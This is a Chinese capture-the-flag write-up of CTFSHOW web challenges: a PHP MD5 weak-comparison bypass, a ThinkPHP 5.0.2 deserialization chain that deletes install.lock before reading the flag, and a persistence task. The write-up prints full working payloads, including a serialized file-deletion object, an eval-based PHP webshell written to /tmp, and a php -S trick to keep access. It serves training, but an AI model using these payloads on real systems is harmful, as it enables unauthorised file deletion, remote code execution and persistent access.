当前位置: 首页 > news >正文

CTFSHOW月饼杯II

web签到

<?php //Author:H3h3QAQ include "flag.php"; highlight_file(__FILE__); error_reporting(0); if (isset($_GET["YBB"])) { if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) { 判断 YBB 的 MD5 值是否等于 YBB 本身 echo "小伙子不错嘛!!flag给你了:" . $flag; } else { echo "偶吼,带黑阔被窝抓到了!!!!"; } }

MD5绕过以为一个数组绕过可以直接秒掉

这里是弱比较那我们就用科学计数法来绕过

通常我们使用数组绕过,是因为像 MD5这种老函数在处理数组时会返回 NULL。如果两边都是 NULL,则 NULL==NULL成立

hash()函数的特性:与md5()函数不同,hash()函数不支持数组输入。如果你给hash()传入一个数组,它会直接报错或返回false(取决于 PHP 版本),而不会像 MD5()那样产生可利用的 NULL

比较逻辑断裂:即便 hash()返回了 false(),你传入的$_GET["YBB"]却是一个真实的数组 [1]。在 PHP 弱类型比较中,false==array是不成立的

MD5弱比较

eztp

<?php namespace app\index\controller; class Index { public function index($run=[]) { highlight_file(__FILE__); echo '<h1>Welcome to CTFSHOW</h1></br>'; echo 'Powered by PHPthink5.0.2</br>'; echo dirname(__FILE__); 输出当前文件所在目录 if (!empty($run[2])){ 当传了 ?run[2]=xxx 并且不为空时触发 echo 'ZmxhZyBpcyBub3QgaGVyZSBidXQgaXQgaXMgaW4gZmxhZy50eHQ='; } if (!empty($run[1])){ 直接对可控参数进行反序列化 $run[1] 是完全可控的典型的反序列化漏洞入口 unserialize($run[1]); } } // hint:/index/index/backdoor public function backdoor(){ if (!file_exists(dirname(__FILE__).'/../../'."install.lock")){ echo "Try to post CMD arguments".'<br/>'; $data = input('post.'); if (!preg_match('/flag/i',$data['cmd'])){ $cmd = escapeshellarg($data['cmd']); $cmd='cat '.$cmd; echo $cmd; system($cmd); }else{ echo "No No No"; } }else{ echo dirname(__FILE__).'/../../'."install.lock has not been deleted"; } } }

首先解码加密内容

提示 flag 在 flag,txt

通过backdoor得到flag,但需要先删除"install.lock"

根据报错信息,Thinkphp版本为5.0.2

可以利用Thinkphp5.1任意文件删除漏洞

https://blog.csdn.net/weixin_74427106/article/details/134626206

<?php namespace think\process\pipes; 反序列化必须保证类名和命名空间与目标环境完全一致,否则 PHP 找不到这个类 use think\Process; class Pipes{} class Windows extends Pipes{ private $files = []; function __construct(){ $this->files = ["/var/www/html/application/index/controller/../../install.lock"]; 设置要删除的目标路径。你根据之前 dirname(__FILE__) 的提示,精准定位到了 install.lock } } echo urlencode(serialize(New Windows()))."\n"; serialize(New Windows()) 将构造好的对象转换为字符串 ?>
/index.php/index/index/?run[1]=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A61%3A%22%2Fvar%2Fwww%2Fhtml%2Fapplication%2Findex%2Fcontroller%2F..%2F..%2Finstall.lock%22%3B%7D%7D

成功删除后访问

cmd=/fl%99ag

%99(一个不可见的非 ASCII 字符)

ThinkPHP 5.0.x 反序列化漏洞 + 任意文件删除 + RCE

不要离开我

<?php // 题目说明: // 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在 error_reporting(0); highlight_file(__FILE__); $a=$_GET['action']; switch($a){ case 'cmd': eval($_POST['cmd']); break; case 'check': file_get_contents("http://checker/api/check"); 如果 action=check,服务器会向内部的 checker 发起请求 break; default: die('params not validate'); 如果不传 action 或者传的值不是cmd和check,程序直接终止并报错 } params not validate

cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST['a']);?>"); 没有编码发现没有反应编码之后成功发送 这个\是为了避免shell被转义 cmd=%66%69%6c%65%5f%70%75%74%5f%63%6f%6e%74%65%6e%74%73%28%22%2f%74%6d%70%2f%69%6e%64%65%78%2e%70%68%70%22%2c%22%3c%3f%70%68%70%20%65%76%61%6c%28%5c%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e%22%29%3b 看看有没有设置成功

看看有没有设置成功

cmd=system("sleep 10 && php -S 0.0.0.0:80 -t /tmp/"); cmd=%73%79%73%74%65%6d%28%22%73%6c%65%65%70%20%31%30%20%26%26%20%70%68%70%20%2d%53%20%30%2e%30%2e%30%2e%30%3a%38%30%20%2d%74%20%2f%74%6d%70%2f%22%29%3b%0a 然后我们要在10秒之内把?action=check 执行了,check会关闭nginx和php-fpm,由于是www-data权限,⽆法启动nginx和php-fpm,直接启动php内置服务器即可。

check之后光速退出,就可以看到这个页面

权限维持

http://www.jsqmd.com/news/356454/

相关文章:

  • Qwen2.5-0.5B-Instruct生产环境落地:轻量Agent构建指南
  • DeOldify镜像一键部署教程:CSDN GPU Pod环境7860端口快速启用
  • Llama-3.2-3B效果实测:Ollama运行下3B模型在逻辑推理题上的准确率
  • Axure RP界面本地化实用指南
  • 基于Pi0具身智能的Python爬虫实战:自动化数据采集与处理
  • Silk-V3解码器:社交软件音频处理的技术实践指南
  • 金融Python/R/Julia项目在VSCode 2026中自动触发CFTC第23号技术通告响应:4步完成源码级合规加固(含SBOM生成与依赖溯源)
  • 基于Mathtype公式的RexUniNLU学术论文解析
  • MT5 Zero-Shot部署教程(ARM架构):树莓派5+Ubuntu Server部署可行性验证
  • BGE-Large-Zh应用场景:汽车维修手册中故障码与解决方案语义匹配
  • translategemma-27b-it实战案例:教育场景中教材图表OCR+翻译一体化流程
  • MTools快速上手指南:非技术人员也能5分钟掌握Llama3文本总结/翻译/关键词提取
  • VSCode 2026远程容器调试全链路打通(2026.1正式版深度适配版)
  • YOLO12多场景:支持边缘(Jetson)、桌面(RTX4090)、云服务器全栈部署
  • 7大维度深度测评:付费墙破解工具如何选
  • Atelier of Light and Shadow在人工智能教育中的应用:个性化学习系统
  • 基于Qwen3-ASR-0.6B的语音数据集标注工具开发
  • Z-Image-Turbo孙珍妮LoRA镜像部署避坑指南:xinference.log日志解读与常见报错解决
  • 亚洲美女-造相Z-Turbo多场景落地:AI绘画社群运营者Z-Turbo定制化头像生成Bot
  • Clang与LLVM的共生关系:现代编译器架构的黄金组合
  • Qwen3-Reranker-0.6B算力优化:动态batching提升GPU利用率至82%
  • 通义千问2.5-0.5B-Instruct问题解决:低资源设备推理失败应对
  • RMBG-2.0与Vue集成实战:打造在线背景去除应用
  • 数据库优化Nano-Banana作品检索:高性能查询方案设计
  • 正规化折现累积增益 (NDCG) – 顶级排序指标
  • WuliArt Qwen-Image Turbo精彩案例分享:Cyberpunk雨夜街景生成全过程
  • Qwen3-VL:30B前端开发:Vue.js实现实时交互界面
  • 5步实战指南:嵌入式开发环境版本管理——如何解决Arduino-ESP32版本滞后问题
  • HY-Motion 1.0效果集:十亿参数模型在动作起止帧自然性上的突破
  • StructBERT-Large模型效果展示:短视频脚本台词复述检测与创意内容去重应用